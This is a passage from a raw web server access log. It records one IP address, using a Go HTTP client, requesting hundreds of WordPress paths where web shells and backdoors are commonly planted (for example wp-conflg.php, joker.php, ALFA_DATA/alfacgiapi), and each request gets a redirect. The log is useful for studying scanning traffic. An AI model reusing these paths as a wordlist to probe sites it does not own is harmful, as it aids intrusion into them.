HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:37 +0300] "GET /wp-admin/maint/providers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:42 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:42 +0300] "GET /wp-includes/css/dist/commands/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:43 +0300] "GET /wp-includes/blocks/query-title/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:43 +0300] "GET /wp-includes/blocks/query-pagination/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:44 +0300] "GET /wp-includes/blocks/separator/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:44 +0300] "GET /wordpress/wp-includes/blocks/accordion/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:49 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:49 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:54 +0300] "GET /wp-includes/rest-api/search/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:38:57 +0300] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:02 +0300] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:02 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:07 +0300] "GET /wp-includes/widgets/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:12 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:17 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:22 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:27 +0300] "GET /wp-content/ws29.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:32 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:37 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:42 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:43 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:48 +0300] "GET /wp-content/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:53 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:53 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:53 +0300] "GET /wp-includes/js/dist/script-modules/block-library/file/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:54 +0300] "GET /wp-includes/blocks/tag-cloud/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:54 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:39:59 +0300] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:04 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:09 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:10 +0300] "GET /wp-content/updraft/emptydir/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:14 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:19 +0300] "GET /wp-includes/theme-compat/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:24 +0300] "GET /wp-content/themes/twentytwenty/assets/fonts/inter/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:30 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:35 +0300] "GET /wp-content/uploads/2025/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:35 +0300] "GET /wp-includes/Text/Diff/Engine/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:40 +0300] "GET /wp-admin/user/coffee/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:45 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:45 +0300] "GET /wp-content/plugins/wordpress-seo/admin/metabox/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:50 +0300] "GET /wp-content/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:55 +0300] "GET /wp-includes/blocks/search/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:40:55 +0300] "GET /wp-admin/images/html-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:01 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:05 +0300] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:11 +0300] "GET /wp-includes/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:16 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:16 +0300] "GET /wp-content/plugins/x/wp-classs-editor.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:21 +0300] "GET /wp-content/plugins/wordpress-seo/src/dashboard/application/search-rankings/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:26 +0300] "GET /wp-includes/assets/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:31 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:36 +0300] "GET /wp-admin/zz.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:41 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:41 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:46 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:51 +0300] "GET /wp-includes/blocks/post-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:52 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:41:57 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:42:02 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:42:07 +0300] "GET /wp-includes/assets/joker.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:42:12 +0300] "GET /wp-content/plugins/Iitespeed-cache/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:42:17 +0300] "GET /wp-content/themes/theme-check/theme-check.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:42:22 +0300] "GET /wp-content/themes/theme-check/joker.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:42:27 +0300] "GET /wp-includes/blocks/comment-date/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:42:27 +0300] "GET /wp-includes/js/crop/joker.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:42:32 +0300] "GET /wp-content/themes/news-portal/content- HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:42:37 +0300] "GET /wp-content/themes/news-portal/user-install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:42:42 +0300] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:42:47 +0300] "GET /wp-admin/maint/joker.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:42:52 +0300] "GET /wp-content/plugins/elementor/core/files/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:42:57 +0300] "GET /wp-content/plugins/elementor/includes/interfaces/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:02 +0300] "GET /wp-content/plugins/waspthemes-yellow-pencil/images/list/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:07 +0300] "GET /wp-content/plugins/woocommerce/includes/import/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:12 +0300] "GET /wp-content/plugins/miniorange-malware-protection/handler/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:17 +0300] "GET /wp-content/text.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:22 +0300] "GET /wp-includes/SimplePie/src/Decode/HTML/sitemaps.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:27 +0300] "GET /wp-includes/mer_gagal.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:32 +0300] "GET /wp-admin/css/colors/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:37 +0300] "GET /wp-content/plugins/mtodm/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:42 +0300] "GET /wp-content/plugins/elementor/modules/atomic-widgets/prop-types/transform/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:47 +0300] "GET /wp-includes/blocks/latest-comments/template-loader.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:52 +0300] "GET /wp-includes/blocks/accordion/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:52 +0300] "GET /wp-includes/blocks/table/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:53 +0300] "GET /wp-content/themes/twentytwentytwo/parts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:53 +0300] "GET /wp-content/themes/chillbud/inc/welcome/assets/img/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:43:58 +0300] "GET /wp-content/plugins/wp-cache-sys/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:03 +0300] "GET /wp-includes/css/dist/edit-post/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:04 +0300] "GET /wp-content/plugins/elementor-pro/cong.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:09 +0300] "GET /hert.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:14 +0300] "GET /wp-admin/css/maintenance.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:18 +0300] "GET /wp-admin/coke.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:24 +0300] "GET /wp-admin/plugins-long.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:28 +0300] "GET /wp-includes/widgets/class-wp-widget-text-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:34 +0300] "GET /php7.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:39 +0300] "GET /wp-includes/blocks/buttons/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:39 +0300] "GET /wp-includes/blocks/home-link/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:39 +0300] "GET /fuka.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:44 +0300] "GET /wp-content/themes/astra/inc/builder/type/base/dynamic-css/button/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:49 +0300] "GET /wp-includes/post-template-path.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:54 +0300] "GET /wp-includes/ID3/plex1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:44:59 +0300] "GET /wp-admin/widgets-form-blocks-interface.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:45:04 +0300] "GET /wp-includes/blocks/post-template/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:45:05 +0300] "GET /wp-content/plugins/pretty-link/js/build/wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:45:10 +0300] "GET /wp-content/webp-express/radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:45:15 +0300] "GET /wp-content/webp-express/webp-images-bigger-than-source/providers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:45:20 +0300] "GET /wp-content/themes/888starz-egypt-theme/inc/page/wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:45:25 +0300] "GET /wp-includes/blocks/nextpage/wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:45:30 +0300] "GET /wp-includes/sodium_compat/namespaced/customize/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:45:35 +0300] "GET /wp-includes/images/smilies/theme-compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:45:40 +0300] "GET /wp-admin/network/wp-rest/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:45:45 +0300] "GET /wp-includes/blocks/button/admiin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:45:50 +0300] "GET /wp-includes/SimplePie/src/Content/Type/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:45:50 +0300] "GET /wp-admin/css/colors/sunrise/rum.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:45:55 +0300] "GET /session_init.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:46:00 +0300] "GET /wp-admin/includes/wp-config-extra.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:46:05 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-social-elf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:46:10 +0300] "GET /wp-content/plugins/enhanced-text-widget/analyst/src/403.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:46:15 +0300] "GET /wp-content/themes/fukasawa/inc/classes/403.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:46:20 +0300] "GET /wp-content/plugins/wp-load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:46:25 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:46:30 +0300] "GET /wp-content/languages/themes/load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:46:35 +0300] "GET /wp-content/system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:46:40 +0300] "GET /wp-includes/js/tinymce/plugins/users.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:46:45 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:46:50 +0300] "GET /prayer_intentions.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:46:55 +0300] "GET /wp-content/plugins/slideshow-ck/themes/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:00 +0300] "GET /wp-content/plugins/db-status.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:05 +0300] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:10 +0300] "GET /wp-content/uploads/error.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:15 +0300] "GET /wp-includes/blocks/comments-pagination-next/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:16 +0300] "GET /wp-includes/Requests/src/Exception/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:16 +0300] "GET /cgi-bin/cgi-bin/sql.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:21 +0300] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:26 +0300] "GET /wp-content/plugins/all-in-one-wp-security-and-firewall/templates/wp-admin/security.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:31 +0300] "GET /wp-content/plugins/maintenance.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:36 +0300] "GET /wp-content/themes/wp-mail.phpp HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:41 +0300] "GET /wp-content/uploads/upload.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:46 +0300] "GET /wp-includes/wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:51 +0300] "GET /wp-includes/js/tinymce/plugins/api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:47:56 +0300] "GET /wp-includes/panel.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:48:01 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:48:06 +0300] "GET /wp-includes/Text/Diff/Engine/tx1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:48:11 +0300] "GET /wp-content/themes/news-portal/network.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:48:16 +0300] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:48:21 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:48:26 +0300] "GET /wp-admin/maint/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:48:31 +0300] "GET /wp-content/themes/news-portal/sitebar.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:48:36 +0300] "GET /wp-content/languages/themes/bb.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:48:41 +0300] "GET /wp-includes/assets/script-loader-react-refresh.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:48:46 +0300] "GET /wp-admin/maint/maint/about2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:48:51 +0300] "GET /wp-admin/network/pngoptimazie.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:48:56 +0300] "GET /wp-content/plugins/contact-form-7/rstsgd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:49:01 +0300] "GET /wp-content/plugins/shortcodes-ultimate/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:49:06 +0300] "GET /wp-admin/install-helper-new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:49:11 +0300] "GET /wp-admin/user/mariju.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:49:16 +0300] "GET /wp-admin/options-discussion-statement.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:49:21 +0300] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:49:26 +0300] "GET /wp-includes/author-template-object.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:49:31 +0300] "GET /wp-includes/certificates/doc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:49:36 +0300] "GET /wp-includes/js/dist/vendor/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:49:41 +0300] "GET /wp-includes/Requests/src/Exception/177.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:49:46 +0300] "GET /wp-includes/blocks/site-title-restful.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:49:51 +0300] "GET /wp-content/fonts/poppins/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:49:56 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/goods.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:01 +0300] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:06 +0300] "GET /wp-content/uploads/wpcode/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:11 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:16 +0300] "GET /wp-admin/css/colors/coffee/backup/js/images/wkag/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:20 +0300] "GET /wp-content/themes/ftde.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:25 +0300] "GET /wp-content/themes/neve/assets/apps/dashboard/build/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:30 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:35 +0300] "GET /wp-includes/blocks/comment-reply-link/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:36 +0300] "GET /wp-includes/blocks/pattern/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:36 +0300] "GET /wp-includes/blocks/comments-pagination-numbers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:36 +0300] "GET /wp-includes/js/dist/script-modules/block-library/navigation/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:37 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:37 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:42 +0300] "GET /wp-includes/blocks/legacy-widget/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:42 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:47 +0300] "GET /wp-includes/customize/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:52 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:53 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:50:58 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:03 +0300] "GET /wp-content/plugins/wordpress-seo/inc/WPSEO.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:08 +0300] "GET /wp-content/plugins/elementor/core/files/base.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - 